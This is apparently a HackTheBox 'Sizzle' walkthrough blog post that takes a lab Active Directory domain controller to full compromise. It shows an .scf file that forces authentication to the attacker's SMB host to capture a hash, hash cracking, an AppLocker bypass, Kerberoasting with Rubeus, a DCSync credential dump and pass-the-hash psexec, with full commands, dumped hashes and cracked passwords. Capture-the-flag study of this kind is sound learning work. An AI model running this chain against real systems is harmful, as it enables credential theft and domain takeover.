Sizzle is an insane level box on HackTheBox and utilizes a variety of Active Directory and Windows pentesting techniques in order to obtain Domain Admin. The route to an initial shell was quite difficult and unique, but the rest of the box was relatively simple.

Walkthrough

Recon

An nmap scan, followed by a full port and script scan, reveals the following ports are open:

PORT     STATE SERVICE      VERSION
21/tcp   open     ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT                      
80/tcp   open     http          Microsoft IIS httpd 10.0
| http-methods:              
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).                                                                  
135/tcp  open     msrpc         Microsoft Windows RPC                                                                 
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local                                                                      
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
445/tcp  open     microsoft-ds?
464/tcp  open     kpasswd5?
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
3269/tcp open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
5985/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open     ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2022-04-19T03:49:51+00:00; +16m40s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
9389/tcp open     mc-nmf        .NET Message Framing

It was a bit odd how long the scan took. The box also would stop responding if I put the min-rate too high. Also, while there is anonymous ftp access, there is nothing there nor can I upload anything. The main interesting parts here are the lack of port 88/tcp (Kerberos), and 5986 showing up in the scan (WinRM with HTTPS). The lack of access to Kerberos makes us unable to use some common attacks like ASREProasting for hashes and users, as well as Kerberoasting for hashes. The website on port 80 is just a picture of bacon sizzling (haha).

Directory brute forcing with a few wordlists doesn’t return much, but using common.txt, I find a /certsrv endpoint. This means this domain is probably using Active Directory Certificate Services (ADCS).

┌──(root💀kali)-[/home/kali]
└─# gobuster dir -u http://10.10.10.103/ -t 50 -w /usr/share/wordlists/dirb/common.txt -x .aspx                                 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.103/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              aspx
[+] Timeout:                 10s
===============================================================
2022/04/20 04:40:11 Starting gobuster in directory enumeration mode
===============================================================
/aspnet_client        (Status: 301) [Size: 157] [--> http://10.10.10.103/aspnet_client/]
/certenroll           (Status: 301) [Size: 154] [--> http://10.10.10.103/certenroll/]   
/certsrv              (Status: 401) [Size: 1293]                                        
/images               (Status: 301) [Size: 150] [--> http://10.10.10.103/images/]       
/Images               (Status: 301) [Size: 150] [--> http://10.10.10.103/Images/]       
/index.html           (Status: 200) [Size: 60]                                          
===============================================================
2022/04/20 04:41:12 Finished
===============================================================

I also discovered that there is anonymous access to SMB and some shares using crackmapexec.

┌──(root💀kali)-[/home/kali]
└─# crackmapexec smb 10.10.10.103 -u Guest -p '' --shares        
SMB         10.10.10.103    445    SIZZLE           [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.103    445    SIZZLE           [+] HTB.LOCAL\Guest: 
SMB         10.10.10.103    445    SIZZLE           [+] Enumerated shares
SMB         10.10.10.103    445    SIZZLE           Share           Permissions     Remark
SMB         10.10.10.103    445    SIZZLE           -----           -----------     ------
SMB         10.10.10.103    445    SIZZLE           ADMIN$                          Remote Admin
SMB         10.10.10.103    445    SIZZLE           C$                              Default share
SMB         10.10.10.103    445    SIZZLE           CertEnroll                      Active Directory Certificate Services share
SMB         10.10.10.103    445    SIZZLE           Department Shares READ            
SMB         10.10.10.103    445    SIZZLE           IPC$            READ            Remote IPC
SMB         10.10.10.103    445    SIZZLE           NETLOGON                        Logon server share 
SMB         10.10.10.103    445    SIZZLE           Operations                      
SMB         10.10.10.103    445    SIZZLE           SYSVOL                          Logon server share 

Connecting to the shares with smbclient \\\\10.10.10.103\\Department\\ Shares reveals a large amount of directories. Each directory themselves has a log more. I recursively downloaded the files and fodlers, but there isn’t much. One folder, ZZ_ARCHIVE, has a lot of files, but they’re all the same size and somehow empty at the same time. I can check acls within my smbclient using showacl on, and I discovered that I have write access to the ZZ_ARCHIVE and \Users\Public directories.

smb: \users\> showacl on
smb: \users\> ls
FILENAME:Public
MODE:D
SIZE:0
MTIME:Wed Sep 26 01:45:32 2018
revision: 1
type: 0x8404: SEC_DESC_DACL_PRESENT SEC_DESC_DACL_AUTO_INHERITED SEC_DESC_SELF_RELATIVE 
DACL
        ACL     Num ACEs:       5       revision:       2
        ---
        ACE
                type: ACCESS ALLOWED (0) flags: 0x03 SEC_ACE_FLAG_OBJECT_INHERIT  SEC_ACE_FLAG_CONTAINER_INHERIT 
                Specific bits: 0x1ff
                Permissions: 0x1f01ff: SYNCHRONIZE_ACCESS WRITE_OWNER_ACCESS WRITE_DAC_ACCESS READ_CONTROL_ACCESS DELETE_ACCESS 
                SID: S-1-1-0

The SID (Security Identifier) of S-1-1-0 is the “Everyone” SID. This means everyone can write to this, and ZZ_ARCHIVE. Based on this, we could try an scf/lnk/url attack. These attacks are on the basis of creating a file of the specified format, and then modifying the directives in them. In the case of the .scf and .url files, their icon directives will be the value of a file on our SMB share (although the file doesn’t have to exist). This will make it so that when the SMB share is opened and the .url/.scf file is displayed in the share, their computer will try to load the icon. This causes it to attempt to authenticate into our SMB share because we specified the icon to be sourced from it. Lastly, with our SMB server waiting, we will capture a hash, if this works. I used an .scf file, named @a.scf (to make it appear at the top of the share).

[Shell]
Command=2
IconFile=\\10.10.16.2\share\test.ico
[Taskbar]
Command=ToggleDesktop

After putting it onto both the ZZ_ARCHIVE directory and \Users\Public, I got a hit from my SMB server.

┌──(root💀kali)-[/home/kali]
└─# impacket-smbserver share . -smb2support                                    
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.103,58413)
[*] AUTHENTICATE_MESSAGE (HTB\amanda,SIZZLE)
[*] User SIZZLE\amanda authenticated successfully
[*] amanda::HTB:aaaaaaaaaaaaaaaa:c071935133f5ff4db1227e20cea3170d:0101000000000000005841589454d801bc0c8fc31cc7537d00000000010010006d0075004b0068006b0052004e006d00030010006d0075004b0068006b0052004e006d0002001000440078007500660067004d004800720004001000440078007500660067004d004800720007000800005841589454d801060004000200000008003000300000000000000001000000002000008e00082aa56eba9d3193bdc347cb42dfae47621259447faf97ed32dfde509a4b0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e003200000000000000000000000000

This hash is an NetNTLMv2, and we can try to crack it with hashcat. Using hashcat on my host since my VM can’t run it for some reason, we use a directory attack (-a 0) with NetNTLMv2 as the mode (-m 5600), and rockyou as our wordlist.

┌──(nigerald㉿DESKTOP-VBI49KD)-[/mnt/d/Downloads]
└─$ ./hashcat.exe -a 0 -m 5600 hash rockyou.txt
hashcat (v6.2.4) starting
AMANDA::HTB:aaaaaaaaaaaaaaaa:c071935133f5ff4db1227e20cea3170d:0101000000000000005841589454d801bc0c8fc31cc7537d00000000010010006d0075
004b0068006b0052004e006d00030010006d0075004b0068006b0052004e006d0002001000440078007500660067004d004800720004001000440078007500660067
004d004800720007000800005841589454d801060004000200000008003000300000000000000001000000002000008e00082aa56eba9d3193bdc347cb42dfae4762
1259447faf97ed32dfde509a4b0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0032
00000000000000000000000000:Ashare1972

Success! With a domain user (amanda:Ashare1972), I can now try two things: first, enumerate the domain with bloodhound-python which will enumerate the domain remotely. Secondly, I will authenticate into WinRM if possible. I manage to capture some data and ingest it into bloodhound.

┌──(root💀kali)-[/home/kali/HackTheBox/sizzle/certtesting]
└─# bloodhound-python -u 'amanda' -p 'Ashare1972' -d htb.local -ns 10.10.10.103 -c all
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: sizzle.HTB.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: sizzle.HTB.LOCAL
WARNING: Could not resolve SID: S-1-5-21-2379389067-1826974543-3574127760-1000
INFO: Found 7 users
INFO: Connecting to GC LDAP server: sizzle.HTB.LOCAL
INFO: Found 52 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: sizzle.HTB.LOCAL
INFO: Done in 00M 23S

First thing to note is that there is a clear vector here. My user, “Amanda”, has the “CanPSRemote” edge on the domain controller, SIZZLE.HTB.LOCAL. This means I can run remote powershell commands through WinRM on the computer, and this can be leveraged with the tool “evil-winrm”. Secondly, There is a user with the “GetChangesAll” edge on the domain. This is an edge that indicated DCSync privileges, meaning this user can essentially request domain information as apart of domain replication. While this is utilizes as a way for Domain Controllers to backup information, this includes password data, so if we can compromise that user, we can utilize DCSync to get hashes for all the users, including Domain Admins. Looking at this user a little closer, we see this:

This user has a Service Principle Name, meaning we can Kerberoast it because it is considered a service account. While we have the valid account necessary to do this, Kerberos isn’t accessible to us right now, so we need to port forward (or run Rubeus) after we get a foothold so we can Kerberoast this user and DCSync. By the way, Kerberoasting involves an authenticated user requesting a ticket to a service from the krbtgt. The krbtgt then returns a ticket to the service, which is encrypted with the service account’s password hash. Existing tools like impacket or Rubeus can extract the encrypted hash and allow us to decrypt it. With that all said, let’s get this plan going.

Foothold

The first step is getting a foothold, so I try the most obvious move and attempt to utilize WinRM for reasons stated earlier.

┌──(root💀kali)-[/home/kali/HackTheBox/sizzle/certtesting]
└─# evil-winrm -i 10.10.10.103 -u amanda -p Ashare1972

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMHTTPTransportError happened, message is Unable to parse authorization header. Headers: {"Server"=>"Microsoft-HTTPAPI/2.0", "Date"=>"Wed, 20 Apr 2022 09:28:06 GMT", "Connection"=>"close", "Content-Length"=>"0"}
Body:  (401).

Error: Exiting with code 1

If I had “CanPSRemote” on the computer, why did this fail? Well, based on seeing 5986 running, along with ADCS, it might be that WinRM is being done over HTTPS. Either that, or the machine uses certificate authentication through WinRM. ADCS uses PKI (Public Key Infrastructure); the server, or certificate authority, will have a series of public certificates that encrypt traffic, and clients will have a private key that can decrypt the messages. Evil-WinRM is able to use this, as we can see.

┌──(root💀kali)-[/home/kali/HackTheBox/sizzle/certtesting]
└─# evil-winrm -h
Evil-WinRM shell v3.3

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate

Remember, there is a /certsrv endpoint, and this endpoint can be used to sign a certificate request by the certificate authority. This makes it such that the private key that is associated with the request, can be used to decrypt the traffic. We simple provide amanda’s credentials and access the endpoint.

Now let’s create an advanced certificate request. This will greet us with this page.

We need to create a PKCS #10 certificate request. This can be done with the following command (just leave any information it asks empty):

openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key

We now have a certificate request, CSR.csr, and an associated key, privateKey.key. The advanced request page asked for the copied and pasted contents of our certificate request, so just paste it all in.

After that, we can download the certified and signed certificate. Any format works, but just download the certificate itself, not the chain. We can now specify the SSL module in evil-winrm, as well as the private key, and our public certificate.

┌──(root💀kali)-[/home/kali/HackTheBox/sizzle/certtesting]
└─# evil-winrm -i 10.10.10.103-c /home/kali/HackTheBox/sizzle/certtesting/certnew.cer -k /home/kali/HackTheBox/sizzle/certtesting/privateKey.key -S
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\amanda\Documents>

Since the certificate was signed for amanda (the user we logged into at the /certsrv) endpoint, we get to authenticate as amanda. Also, based on how I didn’t need to provide my username and password, I believe this means that WinRM was authenticating using certificates over SSL.

Privilege Escalation

Now that we have a shell, we can continue our kill chain. Let’s try to Kerberoast. I’ll upload Rubeus by copying it over from an SMB server that I was hosting from earlier.

*Evil-WinRM* PS C:\Users\amanda\Documents> copy \\10.10.16.2\share\Rubeus.exe 
*Evil-WinRM* PS C:\Users\amanda\Documents> .\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972
Program 'Rubeus.exe' failed to run: This program is blocked by group policy. For more information, contact your system administratorAt line:1 char:1
+ .\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Asha ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Asha ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

It didn’t work. Checking the error returns results about Sopftware Restriction Policies and Applocker. We can try to check if AppLocker is running by running the following command

*Evil-WinRM* PS C:\Users\amanda\Documents> Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
    
    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

Name                           Property
----                           --------
a61c8b2c-a319-4cd0-9690-d2177c Value : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in
ad7b51                         the Windows folder."
                                       UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*"/></Conditions></FilePathRule>
d754b869-d2cc-46af-9c94-6b6e8c Value : <FilePathRule Id="d754b869-d2cc-46af-9c94-6b6e8c10d095" Name="All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the
10d095                         Program Files folder."
                                       UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\tmp\*"/></Conditions></FilePathRule>
fd686d83-a829-4351-8ff4-27c7de Value : <FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544"
5755d2                                 Action="Allow"><Conditions><FilePathCondition Path="*"/></Conditions></FilePathRule>

We found our culprit. Luckily, there are many resources online to bypass Applocker. Using this repo of tips, I decided to utilize the C:\windows\temp directory. Applocker, by default, allows programs in C:\Windows to be ran, and we can write to this directory. We can simply copy over and run Rubeus there.

*Evil-WinRM* PS C:\Users\amanda\Documents> copy Rubeus.exe \Windows\temp\rubeus.exe                          
*Evil-WinRM* PS C:\Users\amanda\Documents> \Windows\Temp\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972
   ______        _                                                                                                    
  (_____ \      | |                           
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)   
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : HTB.LOCAL
[*] Searching path 'LDAP://sizzle.HTB.LOCAL/DC=HTB,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : mrlky
[*] DistinguishedName      : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
[*] ServicePrincipalName   : http/sizzle
[*] PwdLastSet             : 7/10/2018 2:08:09 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle@HTB.LOCAL*$4AA09103B9224BFC2EC429703F90
                             F723$700AA735B6FD230D352D5BEAC7B25D39BD8F01F65A80894B6F51A3686C86E56F15A3C10B853
                             6B8931283602612035785C336E5E76E381351C111BAF1A004237EE5D72D75C7C9141B1F978038CC1
                             EE3E555109FD95C89C400F679031595BB3933B99CC4798599AFFFE3273D7C87CD6B74B0CD471A8AC
                             EE33C1A501ACDE37676F084F2B52852907836E843259099FF1B03E86B86A87933037BCBB9A428E2D
                             177BF11CE19254429EC300724FB1A67A4506562F0381FB2A450F829A5BC60A36DE008AB107F4C45F
                             39BDD41162E2DC4D5078139472E8EA33A0686BC05D5F1A3249B87BD4C8AB5764A3631D5751A251C1
                             EB1D307036753A5B868DC4EDCBEFBCDEF0612FEB6ACC29133E83E7185038C1CAB432C655E21C3B55
                             3CA2A4EB240938D3D4CD26A1A2FD7B5C0C9ED7F9623CBDE40EEC75515935BF98755294277FFC1575
                             2A0DCFCA1DACFE417AF256AA93893FF8E1CC0305EB55175C1692013231FF2A6026DF8808B22CD809
                             08F03A0F39FB8056D100A492078673C9E9427EBBC1316D269E7BA36AC1719AC92A75107CECC59189
                             47D32E00E3D63118224A2CAA864F70655F22E732D1140DA52D7B0D5309A653BCE569E3D6BB0D7412
                             3B2345D9BBD21CFD34E2FC9585FDBE191B62DB4F773F455B6F06BB0D86170E13464DE38C8C549C83
                             D6692FCFF2A21D4CEDED463628DB50F05E1713893CCE10B7006A14A75BAB5FD97E64DACABBF6F1C6
                             F1F505FB962F3A536139C80048D11051D2C146147683942570BFE0B4C7920B24383C8D635746A949
                             FBA7F1699A77578A76B7F3BB2B54B19426F4C81E96474D256679D6D40C1FB260D740440CD37CF7BC
                             4CEB3052778F77405DEAFACDC99545CD94FA157B4905FA0250A0C7AA9A6972F1EA837E441968930A
                             C9C5E1CA93CA41A819776973E852E7903256A269C741B2666D01ADC5C4A3CEF0078EABD981F127F4
                             C2320E0274874E54E2A17DB2AAB711571751D31B6497A051A0E5CB883783C3A9686EC560BB55042B
                             A2D6B048063DD1C2B54BA012F0CAE48A095B3753107C34F232C43A8F63CBEC1076D03F845EC2C02F
                             FC1011D0ABA54E5D288D0B488EA6AB0F98CF41CDB593A17E8CE33327568BA78E63E6A87BEA27FD00
                             8A1E9316F033EF9A2964FDE7173522BDC888340ED056A6AC9557DEC1D19432703DEAF22A077E083C
                             CC864C71E814CBA9080E4F2A6E32E2595C8494E63B26D56F28138BF21D542F1F957DE7DC8715D85F
                             299B4789DE65FF1229710F619AB41CC0ADFAC1CC725904714BF6935BD0F7E1EC5ED6AC0B83BCF1AE
                             5A67BC5BDA59A3A279434846C5E666EF07A55B1A710A502C77BD0C8A12582441C1435E67895EC83E
                             D40476C14267A79AED40476C14267A79AE

Woo!. By the way, I made sure to re-enter amanda’s creds in Rubeus for both good measure, and because of the WinRM Kerberos double hop issue. Basically, when we PSRemote and attempt to access any resource (in this case, Kerberos), our credentials aren’t passed over. Specifying them while running Rubeus fixes this issue. There is an authentication method that caches the credentials so they can be passed (CredSSP), but this makes it inherently more insecure. Anyways, time to crack this thing after stripping the whitespace.

┌──(nigerald㉿DESKTOP-VBI49KD)-[/mnt/d/Downloads]
└─$ ./hashcat.exe -a 0 -m 5600 hash rockyou.txt
hashcat (v6.2.4) starting
$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle@HTB.LOCAL*$4aa09103b9224bfc2ec429703f90f723$700aa735b6fd230d352d5beac7b25d39bd8f01f65a80894b6f51a3686c86e56f15a3c10b8536b8931283602612035785c336e5e76e381351c111baf1a004237ee5d72d75c7c9141b1f978038cc1ee3e555109fd95c89c400f679031595bb3933b99cc4798599afffe3273d7c87cd6b74b0cd471a8acee33c1a501acde37676f084f2b52852907836e843259099ff1b03e86b86a87933037bcbb9a428e2d177bf11ce19254429ec300724fb1a67a4506562f0381fb2a450f829a5bc60a36de008ab107f4c45f39bdd41162e2dc4d5078139472e8ea33a0686bc05d5f1a3249b87bd4c8ab5764a3631d5751a251c1eb1d307036753a5b868dc4edcbefbcdef0612feb6acc29133e83e7185038c1cab432c655e21c3b553ca2a4eb240938d3d4cd26a1a2fd7b5c0c9ed7f9623cbde40eec75515935bf98755294277ffc15752a0dcfca1dacfe417af256aa93893ff8e1cc0305eb55175c1692013231ff2a6026df8808b22cd80908f03a0f39fb8056d100a492078673c9e9427ebbc1316d269e7ba36ac1719ac92a75107cecc5918947d32e00e3d63118224a2caa864f70655f22e732d1140da52d7b0d5309a653bce569e3d6bb0d74123b2345d9bbd21cfd34e2fc9585fdbe191b62db4f773f455b6f06bb0d86170e13464de38c8c549c83d6692fcff2a21d4ceded463628db50f05e1713893cce10b7006a14a75bab5fd97e64dacabbf6f1c6f1f505fb962f3a536139c80048d11051d2c146147683942570bfe0b4c7920b24383c8d635746a949fba7f1699a77578a76b7f3bb2b54b19426f4c81e96474d256679d6d40c1fb260d740440cd37cf7bc4ceb3052778f77405deafacdc99545cd94fa157b4905fa0250a0c7aa9a6972f1ea837e441968930ac9c5e1ca93ca41a819776973e852e7903256a269c741b2666d01adc5c4a3cef0078eabd981f127f4c2320e0274874e54e2a17db2aab711571751d31b6497a051a0e5cb883783c3a9686ec560bb55042ba2d6b048063dd1c2b54ba012f0cae48a095b3753107c34f232c43a8f63cbec1076d03f845ec2c02ffc1011d0aba54e5d288d0b488ea6ab0f98cf41cdb593a17e8ce33327568ba78e63e6a87bea27fd008a1e9316f033ef9a2964fde7173522bdc888340ed056a6ac9557dec1d19432703deaf22a077e083ccc864c71e814cba9080e4f2a6e32e2595c8494e63b26d56f28138bf21d542f1f957de7dc8715d85f299b4789de65ff1229710f619ab41cc0adfac1cc725904714bf6935bd0f7e1ec5ed6ac0b83bcf1ae5a67bc5bda59a3a279434846c5e666ef07a55b1a710a502c77bd0c8a12582441c1435e67895ec83ed40476c14267a79ae:Football#7

I just let hashcat take care of the mode detection since I forgot it. Anyways, we can continue our kill chain now. We can use “impacket-secrets-dump” to perform a DCSync and capture the hashes.

┌──(root💀kali)-[/home/kali]                                                                                          
└─# impacket-secretsdump -just-dc mrlky:Football#7@10.10.10.103
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::          
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::         
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:18e951f7894347f1bd5213706d572101:::

And lastly, we can authenticate with the Domain Admin account using “impacket-psexec” and passing both the LM and NT hashes, respectively. PSExec is like WinRM, but it requires Admin access. It essentially will execute processes on other systems bu accessing the Admin$ share on SMB, deploying a service image of the executable being ran, and then utilizing RPC over SMB to control the Windows Service Control Manager API. This will turn on the PSExec service on the other computer and create a named pipe.

┌──(root💀kali)-[/home/kali]
└─# impacket-psexec htb.local/Administrator@10.10.10.103 -hashes aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.10.103.....
[*] Found writable share ADMIN$
[*] Uploading file cqaRnxGW.exe
[*] Opening SVCManager on 10.10.10.103.....
[*] Creating service Vwvm on 10.10.10.103.....
[*] Starting service Vwvm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Now all that’s left is to just read the flags.

C:\Windows\system32> type \users\administrator\desktop\root.txt
07007ec89408c41c734e44a40caf55df

C:\Windows\system32> type \users\mrlky\desktop\user.txt
190591606fc70ca1fb8421e6175e6705

Afterthoughts

This box was really nice due to the integration of all these different AD and Windows techniques. I had a lot of fun doing it, although the steps weren’t too difficult. One thing to note too is that this box was vulnerable to ZeroLogon, which was pretty funny. Either ways, this box is super solid for anyone wanting to approach AD or get exposed to some more technologies.

-Dylan Tran 4/20/2022